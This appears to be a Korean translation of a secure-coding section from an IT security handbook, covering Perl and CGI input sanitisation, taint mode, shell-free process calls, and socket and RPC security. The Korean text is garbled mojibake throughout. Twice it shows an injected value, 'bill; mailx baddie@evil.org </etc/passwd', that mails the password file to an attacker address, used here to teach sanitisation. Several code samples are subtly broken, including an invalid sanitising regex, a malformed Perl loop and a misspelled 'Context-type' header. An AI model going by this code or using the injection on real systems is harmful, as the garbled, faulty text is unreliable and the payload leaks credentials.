- malloc() ÇÑ °ÍÀº ¸ðµÎ Free() ÇÑ´Ù.
- À¯´Ð½º: ȯ°æÀÌ ¸ÕÀú ±ú²ýÇØÁöÁö ¾ÊÀº ÇÑ popen() À̳ª system() À» »ç¿ëÇÏÁö ¸»¶ó. execve() ¸¦ »ç¿ëÇÑ´Ù.
Perl ±Ç°í»çÇ×:
- ½ºÅ¸ÀÏ:
- $_ ¿Í °°Àº µðÆúÆ® µ¶¸³º¯¼ö¸¦ ¸í½ÃÀûÀ¸·Î ¸í¸íÇÑ´Ù. ¿µ¾î »ç¿ëÀ» °í·ÁÇÑ´Ù.
- ±¸ÇöÀ» ¼û±â±â À§ÇØ ÆÐŰÁö, ¸ðµâ, Ŭ·¡½º¸¦ »ç¿ëÇÑ´Ù.
- ¼ºê·çƾ ¸Å°³º¯¼ö´Â my ¸¦ ½á¼ ¸í¸íÇÑ´Ù. local º¸´Ù´Â
my ¸¦ »ç¿ëÇÑ´Ù.
- º¹ÀâÇÑ Á¤±Ô Ç¥Çö½Ä¿¡¼´Â ÁÖ¼®°ú °ø¹éÀ» »ç¿ëÇÑ´Ù, e.g. s substitution ¿¡ x modifier¸¦ »ç¿ëÇÏ¿© (s/..../.../x).
- ¸ðµç Perl ½ºÅ©¸³Æ®µéÀº -w ½ºÀ§Ä¡¸¦ »ç¿ëÇßÀ» ¶§ °æ°í¾øÀÌ ½ÇÇàµÇ¾î¾ß ÇÑ´Ù (¶Ç´Â ½±°Ô ¼³¸íÇÒ ¼ö ÀÖ´Â °æ°í¸¸ ³ª¿À°Ô). -w ¸¦ ½èÀ» ¶§ ¹®Á¦°¡ ÀÖ°í ´ç½ÅÀÌ ¾Ë°í ÀÖ´Â ÀÛÀº ºÎºÐÀº ±¦Âú´Ù¸é, ±× ºÎºÐ¸¸ local ($^W)=0 À¸·Î -w¸¦ Àû¿ëÇÏÁö ¾Ê´Â´Ù.
- Ç¥ÁØ: ´Ù¸¥»ç¶÷µéÀÌ ÀÚ½ÅÀÇ Äڵ带 Àç»ç¿ëÇÏ´Â ÆÀ¿¡¼ ÇÁ·Î±×·¥À» ÇÏ´Â °æ¿ì:
- Perl ½ÇÇàÆÄÀÏÀ» WWW ¼¹öÀÇ cgi-bin ¿¡ Àý´ë ³ÖÁö ¾Ê´Â´Ù.
- º¯¼ö¿Í ÇÔ¼öÀÇ ¿Ã¹Ù¸¥ ¼±¾ðÀ» º¸ÀåÇϱâ À§ÇØ strict ¸¦ »ç¿ëÇÑ´Ù. ´Ù¾çÇÑ strict ÇÔ¼ö¸¦ »ç¿ëÇÒ ¼ö Àִµ¥, ¸ðµÎ ÄÚµå ¸íÈ®¼ºÀ» Çâ»ó½Ã۸ç, ¹ö±×¸¦ ÃÖ¼ÒÈÇÏ°í ¸ðµâ¼ºÀ» °³¼±ÇÑ´Ù:
- strict 'refs' ¸¦ »ç¿ë: Àǽɽº·¯¿î soft references ¸¦ ãÀ½.
- strict 'vars' ¸¦ »ç¿ë: ±æÀÒÀº º¯¼ö¸¦ ãÀ½, µû¶ó¼ ¸ðµç º¯¼öµéÀÌ my() ·Î Á¤Àǵǰųª $package::var ·Î ÂüÁ¶µÇ¾î¾ß ÇÔ.
- strict 'subs' ¸¦ »ç¿ë: ¸Ç ´Ü¾î¸¦ ãÀ½, Áï ¹®ÀÚ¿À» µÑ·¯½Î´Â µû¿ÈÇ¥, ÇÔ¼ö È£ÃâÀ» µÑ·¯½Î´Â °ýÈ£¸¦ È®ÀÎ.
- ƯÈ÷ cgi ¹× SUID ½ºÅ©¸³Æ®¿¡ ´ëÇØ, tainted checking À» ¼³Á¤ÇÑ´Ù. Perl ÀÌ ÀÌ ¸ðµå·Î ½ÃÀ۵Ǹé, ¸ðµç ȯ°æ º¯¼ö°¡ ¿À¿°µÇ¾ú´Ù°í, Áï À§ÇèÇÒ ¼ö ÀÖ´Ù°í °¡Á¤ÇÏ¿©, ÀÌ º¯¼öµéÀÌ eval(), system(), exec() ¶Ç´Â piped open() À» ÅëÇØ ¼ºêÇÁ·Î±×·¥À¸·Î Àü´ÞµÇ´Â °ÍÀ» Çã¿ëÇÏÁö ¾Ê´Â´Ù.Tainted Perl À» ½ÃÀÛÇÏ·Á¸é, #!/bin/perl -T (perl5) ¶Ç´Â #!/bin/taintperl (perl4) À» »ç¿ëÇÑ´Ù.
- À§ÇèÇÑ ¹®ÀÚ°¡ Àִ ȯ°æº¯¼ö¸¦ Ç×»ó »ç¿ëÇϱâ Àü¿¡ ±ú²ýÀÌ ÇÑ´Ù. REMOTE_USER °¡ bill; mailx baddie@evil.org </etc/passwd? À̶ó´Â°ªÀ» °¡Áö°í ÀÖÀ¸¸é ¾î¼°Ú´Â°¡? À§ÇèÇÑ ¹®ÀÚ°¡ ÀÖ´Â º¯¼ö¸¦ »ç¿ëÇϱâ Àü¿¡ ±ú²ýÀÌ ÇÑ´Ù,
e.g. remove &;'\"|*?~<>^()[]{}$\n\r;,`.
À¯È¿ÇÑ ¸ÞÀÏ ÁÖ¼Ò¸¦ ÃßÃâÇØ³»´Â ¿¹Á¦·Î:
if ($addr =~/^([-\w.]+\@[-\w.]+)$/) {
$addr=$1;
} else {
die "Strange characters in $addr";
}
Note: À̰ÍÀº name@domain °ú ¸Â¾Æ¾ß Çϸç name °ú domain Àº ¹®ÀÚ, ´Ü¾î, ¹ØÁÙ, Á¡ ¶Ç´Â ÇÏÀÌÇÂÀ» °¡Áú ¼ö ÀÖ´Ù.
ÀÌ ¿¹Á¦´Â 0-9¸¦ Á¦¿ÜÇÑ ¸ðµç ¹®ÀÚ¸¦ Á¦°ÅÇÑ´Ù:
$value =~ tr/0-9//cd;
¾Æ·¡ ÄÚµå´Â ½© ¹®ÀÚ¸¦ ¿ÏÀüÈ÷ ¾ø¾ÖÁö¸¸, ¾î¶² °æ¿ì¿¡´Â ³Ê¹« ¸¹Àº ¹®ÀÚµéÀ» ¾ø¾Ù ¼öµµ ÀÖ´Ù (e.g. ½°Ç¥¿Í ¹°À½Ç¥°¡ ÀÖ´Â »ç¿ëÀÚ ÅØ½ºÆ®):
$value =~ s/'\"|*?~<>^()[]{}$\n\r";,//g;
- ÆÄÀÌÇÁ³ª ¿ÜºÎ ÇÁ·Î±×·¥À» ¿ ¶§:
- ¿ÜºÎ ÇÁ·Î±×·¥À» È£ÃâÇÒ ¶§ (e.g. system() È£ÃâÀ» ÀÌ¿ë), µ¶¸³º¯¼ö (arguments) ¸¦ ÇϳªÀÇ ±ä ¹®ÀÚ¿·Î º¸³»Áö ¸»°í, ºÐ¸®µÈ ¹®ÀÚ¿µé·Î º¸³½´Ù. ÀÌ·¸°Ô Çϸé, ¿ÜºÎ ÇÁ·Î±×·¥ÀÌ Á÷Á¢ È£ÃâµÇ¾î ½©ÀÌ ½ÃÀÛµÇÁö ¾Ê´Â´Ù. e.g. ¾Æ·¡ÁÙ ´ë½Å
system "/bin/ls -l $myvariable"
¾Æ·¡ÁÙÀ» »ç¿ë
system "/bin/ls","-l", "$myvariable"
- Backticks ¸¦ »ç¿ëÇÏÁö ¸»¶ó, ƯÈ÷ tainted º¯¼öµéÀÌ ¸í·É¾îÀÇ ÀϺηΠ¾²À϶§´Â. ±× ´ë½Å ½©ÀÌ È£ÃâµÇÁö ¾Ê°Ô ÇÏ¿© ¸Å°³º¯¼ö ÇØ¼®À» ÇÇÇÒ ¼ö ÀÖµµ·Ï exec ¿¡ ÆÄÀÌÇÁ¸¦ ¿¬´Ù. À̸¦ ¼öÇàÇÏ´Â ÀϹÝÀûÀÎ ÇÔ¼ö°¡ ¾Æ·¡¿¡ º¸¿©Áø´Ù.
## run_cmd() acts like system() with seperate parameters,
## except that it returns the output from the command
## in a list rather than to STDOUT.
sub run_cmd {
my (@result) = ();
no strict; # $pid needs to be created on the fly
# "Open" forks and returns PID. Child runs exec
# and diverts STDOUT to PIPE.
if (not defined ($pid = open(PIPE,"-|")) ) {
die 'run_cmd(): Unable to fork PIPE';
}
if ($pid) { # this is the parent (pid=child pid)
@result = <PIPE>;
close PIPE
|| die "run_cmd(): can't close PIPE @_, $!)";
} else { # child: exec command and send back results
select STDOUT; $|=1; # no buffering
#warn "@_"; # could print to httpd error log
exec @_;
die "run_cmd(): Can't exec: @_, Reason=$!";
}
return @result;
}
- ÆÄÀÌÇÁ ¸í·É¾î¿¡ ¾µ¶§´Â, ´ÙÀ½ ¹æ¹ýÀ» »ç¿ëÇÏ¿© ½©À» ºÎ¸£Áö ¾Êµµ·Ï ÇÔÀ¸·Î½á ¸Å°³º¯¼ö ÇØ¼® (interpretation) À» ÇÇÇÏ´Â °ÍÀÌ ÁÁ´Ù. ´ÙÀ½Àº Perl »çº»À» ºÐ±â½ÃÄÑ ±× »çº»¿¡ ÆÄÀÌÇÁ¸¦ ¿¬´Ù:
open (SORT, "|-") || exec
"/bin/sort",$myvariable; # fork & open pipe
while $input (@input_lines) { # @input_lines must exist beforehand
print SORT $input,"\n"; # send contents of $input to sort
}
close SORT;
- ¸¸¾à SUID perl ½ºÅ©¸³Æ®°¡ ÇÊ¿äÇÏ´Ù¸é, ÃÖ¼ÒÇÑ Perl5.003 À¸·Î ¾÷±×·¹À̵åÇϰí suidperlÀ» »ç¿ë (CERT advisory CA-96.12 µµ ÂüÁ¶), ½Ã½ºÅÛ¿¡ º¸¾ÈȦÀ» ¿Áö ¾Êµµ·Ï ÇÑ´Ù.
- »ç¿ëÀÚµéÀÌ Perl ½ºÅ©¸³Æ®¸¦ ÀÎÅÍ·´Æ®ÇÒ ¼ö ÀÖ±æ ¿øÄ¡ ¾Ê´Â´Ù¸é, ÀÎÅÍ·´Æ®´Â ¼±ÅÃÀûÀ¸·Î »ç¿ë°¡´É, »ç¿ëºÒ°¡´ÉÇÏ°Ô Çϰųª ¶Ç´Â 󸮵ǵµ·Ï ÇÒ ¼ö ÀÖ´Ù. ÀÎÅÍ·´Æ®¸¦ ºí·ÏÀ¸·Î ó¸®ÇÏ·Á¸é Áö¿ª $SIG À» »ç¿ëÇÑ´Ù...:
$SIG{INT} = 'IGNORE'; # ignore ^C
$SIG{TSTP} = 'IGNORE'; # ignore ^Z
$SIG{HUP} = 'IGNORE'; # ignore kill 1
$SIG{STOP} = 'IGNORE'; # ignore
$SIG{QUIT} = 'IGNORE'; # ignore ^\
Perl5 ´Â ƯÁ¤ÇÑ À̸§°ø°£ (namespace)¿¡ ¾î¶² ÇÔ¼ö¿Í º¯¼öµéÀÌ "°øÀ¯" µÇ´ÂÁö Á¤ÀÇÇÏ´Â µ¥ »ç¿ëµÉ ¼ö ÀÖ´Â "¾ÈÀü" ±â´ÉÀ» °¡Áö°í ÀÖ´Ù.
´Ù¾çÇÑ ¸¹Àº »ç¿ëÀÚµéÀ» °¡Áö°í ÀÖÀ¸¸ç, À¥¸¶½ºÅͰ¡ »ç¿ëÀÚµéÀÌ È¨µð·ºÅ丮¿¡¼ "¾ÈÀüÇÑ" Perl ½ºÅ©¸³Æ®µé¸¸ µ¹¸± ¼ö ÀÖ°Ô ÇÏ±æ ¿øÇÏ´Â À¥¼¹ö¸¦ À§ÇØ ¼³°èµÈ SafeCGIPerl ¸ðµâµµ ÀÖ´Ù.
Use Safe; $username='billy'; # public information
Sub do_something {
.
}
## define restricted space
$compartment1= new Safe 'Ugly';
## define what is shared to it
$compartment1->share('&do_something');
$compartment1->share('$username');
CGI ÇÁ·Î±×·¡¹Ö
ÀÌÀü ÀýÀÇ ¸ðµç ±ÔÄ¢À» µû¸£°í, ÀÌ¿¡ µ¡ºÙ¿©:
- ÇØ¼®±â (interpreter, Perl À̳ª csh °°Àº)¸¦ cgi-bin ¿¡ µÎÁö ¾Ê´Â´Ù.
- GET/POST & ºñ¹Ð¼º:
- GET Àº CGI ½ºÅ©¸³Æ®¿¡ µ¥ÀÌŸ¸¦ Àü´ÞÇÏ´Â °¡Àå ³Î¸® ÆÛÁø ¹æ¹ýÀÌÁö¸¸, À§ÇèÀ» °¡Áö°í ÀÖ´Ù:
ÀÌ µ¥ÀÌŸ´Â »ç¿ëÀÚ¿¡°Ô ´õ Àß º¸À̰í HTTP_REFERER º¯¼ö¸¦ ÅëÇØ ´ÙÀ½ À¥ ¼¹ö°¡ Á¢±ÙÇÒ ¼öµµ ÀÖ´Ù. GET URLs µµ ·Î±×ÆÄÀÏ¿¡ ³ªÅ¸³´Ù (·Î±×¸¦ À§ÇèÇÒ ¼ö ÀÖ°Ô ÇÔ).
POST ¸¦ ¾²¸é, µ¶¸³º¯¼ö (arguments) µéÀÌ "°´Ã¼"·Î Àü´ÞµÈ´Ù (°ªÀÌ ÀÖ´Â ÇʵåµéÀ» °¡Áö°í ÀÖ´Â). µû¶ó¼ ¾î¶² °æ¿ì¿¡´Â POST °¡ ´õ ³ªÀ» ¼ö ÀÖ´Ù: Â÷ÀÌÁ¡À» ¼÷ÁöÇÑ´Ù.
- À§ÇèÇÑ ¹®ÀÚ¸¦ °¡Áö´Â ȯ°æ º¯¼ö´Â Ç×»ó ¾²±â Àü¿¡ ±ú²ýÀÌ ÇÑ´Ù. REMOTE_USER °¡ bill; mailx baddie@evil.org </etc/passwd ¶ó´Â °ªÀ» °¡Áö°í ÀÖÀ¸¸é ¾î¼°Ú´Â°¡? À§ÇèÇÑ ¹®ÀÚ¸¦ °¡Áö´Â º¯¼ö¸¦ ¾²±â Àü¿¡ ±ú²ýÀÌ ÇÑ´Ù, e.g.
remove &;'\"|*?~<>^()[]{}$\n\r;,`.
- À¯´Ð½º ¼¹ö¿¡¼ CGIWRAP »ç¿ëÀ» °í·ÁÇÑ´Ù ( ftp://ftp.cc.umr.edu/pub/cgi/cgiwrap).
- WWW ºê¶ó¿ìÀú¿¡ ¸Þ½ÃÁö¸¦ Ãâ·ÂÇÒ ¶§, ¸Þ½ÃÁö ¾Õ¿¡ ´ÙÀ½À» ºÙ¿© HTML À» ³ªÅ¸³»´Â °ÍÀ» ÀØÁö ¾Êµµ·Ï ÇÑ´Ù.
Pragma\n
Cache-control\n
Context-type: text/html\n\n
- À̸ÞÀÏÀ» º¸³¾ ¶§, ´ÙÀ½ ¹æ¹ýÀ» °í·ÁÇØ º»´Ù ( ÀÌ ¿¹´Â netstat -rn ÀÇ ³»¿ëÀ» º¸³½´Ù).
Note: -oi ¿É¼ÇÀº, Ç¥½ÃµÇÁö ¾Ê¾ÒÀ¸¸é ¸Þ½ÃÁö¸¦ Á¾·á½Ãų Çà ½ÃÀÛÀÇ Á¡À» sendmail ÀÌ ¹«½ÃÇϵµ·Ï ÇÏ´Â °ÍÀÌ´Ù.
$to_addr='targetuser@target.com';
$from_addr='me@mycompany.com';
$mail_subject='web results';
open (STATUS, "netstat -nr 2>&1 |")
|| die "$0: Can't open pipe: $!";
@results = <STATUS>;
close STATUS || die "Problem closing pipe: $!";
open (EMAIL, "| /usr/lib/sendmail -t -oi")
|| die "$0: Can't call sendmail, $!";
## catch SIGPIPE in this block
local $SIG{PIPE} = sub {die "$0:sendmail pipe
broken."};
print EMAIL "From: $from_addr\n";
print EMAIL "To: $to_addr\n";
print EMAIL "Subject: $mail_subject\n\n\n";
print EMAIL @results;
close EMAIL || die "$0: Can't close pipe: $!"
Ŭ¶óÀ̾ðÆ®/¼¹ö Åë½Å
RPC
Sun RPC: 18.6.6.2 ¸¦ º»´Ù. SunÀÇ RPC (ONC RPC ¶ó°íµµ ÇÔ) ´Â µ¿±â ¹× ºñµ¿±â È£ÃâÀ» Çã¿ëÇÑ´Ù. ´ëºÎºÐÀÇ Çö ¾îÇø®ÄÉÀ̼ǵéÀº ÀÌ RPC¸¦ Ç¥ÁØÀ¸·Î »ç¿ëÇÑ´Ù. ±×·¯³ª À̰ÍÀº ¾î¶² º¸¾È ¿É¼Çµµ Á¦°øÇÏÁö ¾Ê´Â´Ù (À̵éÀº ¾îÇø®ÄÉÀÌ¼Ç ·¹º§¿¡¼ ±¸ÇöµÇ¾î¾ß ÇÑ´Ù).
°¡´ÉÇϸé "ÀϹÝ" Sun RPC º¸´Ù´Â Secure RPC »ç¿ëÀ» °í·ÁÇÑ´Ù (e.g. Secure NFS). RPC´Â ¹æÈº®¿¡¼ °É·¯³»±â ¾î·Æ´Ù.
NT RPC: MS °¡ »ç¿ëÇÏ´Â DCE RPC ºÎºÐ. NT ¼ºñ½º¿¡¼ ³Î¸® »ç¿ë.
¼ÒÄÏ
¼ÒÄÏÀº ÇöÀç Ŭ¶óÀÌ¾ðÆ® ¼¹ö ¾îÇø®ÄÉÀ̼ÇÀ» À§ÇÑ »ç½Ç»óÀÇ Ç¥ÁØÀÌ´Ù. ºÒÇàÈ÷µµ, ¼ÒÄÏ ÇÁ·ÎÅäÄÝ (BSD UNIX ¿¡¼ À¯·¡) Àº º»ÁúÀûÀ¸·Î ¾ÈÀüÇÑ Åë½Å Áö¿øÀÌ ¾ø´Â Åë½Å ¹æ¹ýÀÌ´Ù. ¾îÇø®ÄÉÀÌ¼Ç ÀÚüÀûÀ¸·Î º¸¾ÈÀ» ±¸ÇöÇØ¾ß ÇÑ´Ù.
ºñÇ¥ÁØ ¼ÒÄÏ ¹øÈ£ÀÇ »ç¿ë: À̰ÍÀº ¼ÒÄϱâ¹ÝÀÇ ¼¹öµé¿¡ ´ëÇÑ °ø°ÝÀ» Á»´õ ¾î·Æ°Ô ÇÑ´Ù. ±×·¯³ª À̰ÍÀº "¸ðÈ£ÇÔÀ» ÅëÇÑ º¸¾È" ÀÌ¸ç ¼ÒÄÏ ¹øÈ£°¡ ÇÁ·Î±×·¥¿¡ ÇÒ´çµÇµµ·Ï Á¶Á¤ÇÏ´Â °ÍÀÌ ¹Ù¶÷Á÷ÇÏ´Ù. ÀúÀÚÀÇ ÀǰßÀ¸·Î´Â, ÀÌ·ÎÀÎÇØ ¾ò¾îÁö´Â º¸¾ÈÀÌ ºñÇ¥ÁØ ¹øÈ£¸¦ °ü¸®ÇÏ´Â ¹ý¼®À» ¶³ ¸¸ÇÑ °¡Ä¡°¡ ¾ø´Ù.
Jerry Connolly ÀÇ ³í¹® "Active Server Pages ¿¡¼ÀÇ ÀÔ·Â È®ÀÎÀ» À§ÇÑ ÃÖ¼±ÀÇ Áöħ" (Best practices for input validation with Active Server Pages) ¿¡¼ ÀÔ·Â È®ÀÎ ¹æ¹ýÀ» ¼³¸íÇÑ´Ù. http://heap.nologin.net/aspsec.html
- ÀϹÝ
- Perl:
- Python
- Crypto:
- WWW
- ÀÚ¹Ù:
- À©µµ¿ì 2000
----------------2001 ----------
05.jan'01 ¾îÇø®ÄÉÀÌ¼Ç (ActiveX ¿¡ ´ëÇÑ ¾÷µ¥ÀÌÆ®)
----------------2000 ----------
31.Dec'00 ¾îÇø®ÄÉÀÌ¼Ç (cgi ÇÁ·Î±×·¡¹Ö: Xato ref. Ãß°¡)
15.Dec'00 ¾îÇø®ÄÉÀÌ¼Ç (ÄÚµå °Ë»ç µµ±¸)
26.Oct'00 ¾÷µ¥ÀÌÆ®: ÀÚ¹Ù º¸¾È ¸µÅ©. ½Å±Ô: ÄÚµå °Ë»ç¸¦ À§ÇÑ µµ±¸
15.Feb'01 Perl & Win2k ÇÁ·Î±×·¡¹Ö Âü°í, ÀÚ¹Ù 1.1.¿¡¼ÀÇ ºñ¹ÐŰ ³ëÃâ
23.Feb'01 ¿ø°Ý ÀÚ¹Ù Á¶»ç µµ±¸
[java1] 1996 IEEE º¸¾È°ú ÇÁ¶óÀ̹ö½Ã¿¡ ´ëÇÑ ½ÉÆ÷Áö¿ò, "ÀÚ¹Ù º¸¾È: HotJava ¿¡¼ Netscape ±îÁö ±×¸®°í ±× ÀÌ»ó", ÇÁ¸°½ºÅÏ ´ëÇÐ
[2] ¹öŬ¸® ´ëÇÐÀÇ µÎ ÇлýÀÌ À̰ÍÀ» ¹ß°ß. 1995³â 11¿ù.
[3] º¸¾È ÅäÅ«Àº SIMPORT.EXE ¸í·ÉÁÙ À¯Æ¿¸®Æ¼¸¦ ÅëÇØ ÇÑ ±×·ìÀÇ »ç¿ëÀڵ鿡°Ô en masse Áý´ÜÀ¸·Î »ý¼ºµÉ ¼ö ÀÖ´Ù.
[4] Solaris 2.5 ´Â V8 ±â¹ÝÀÌ´Ù.
[5] WordBasic À¸·Î ¾²¿©Áø ÃÖÃÊ? ¹ÙÀÌ·¯½º´Â 1995³â 8¿ù¿¡ ÀÎÅͳݿ¡ ÆÛÁ³´Ù. '97³â 2¿ù¿¡´Â, ÇԺθ£Å© ´ëÇп¡¼ 205 °³ÀÇ (´ëºÎºÐ À©¿öµå) ¸ÅÅ©·Î ¹ÙÀÌ·¯½ºµéÀ» º¸°íÇß´Ù. VisbualBasic ½ºÅ©¸³Æ®´Â 2000³â »óȲÀ» ´õ¿í ¾ÇȽÃÄ×´Ù.
[activeX] "ActiveX ¿¡¼ÀÇ º¸¾È ¿öÅ©¼¥ °á°ú" www.CERT.org ¶Ç´Â·ÎÄà »çº»
IT Security Cookbook, 15 December, 2000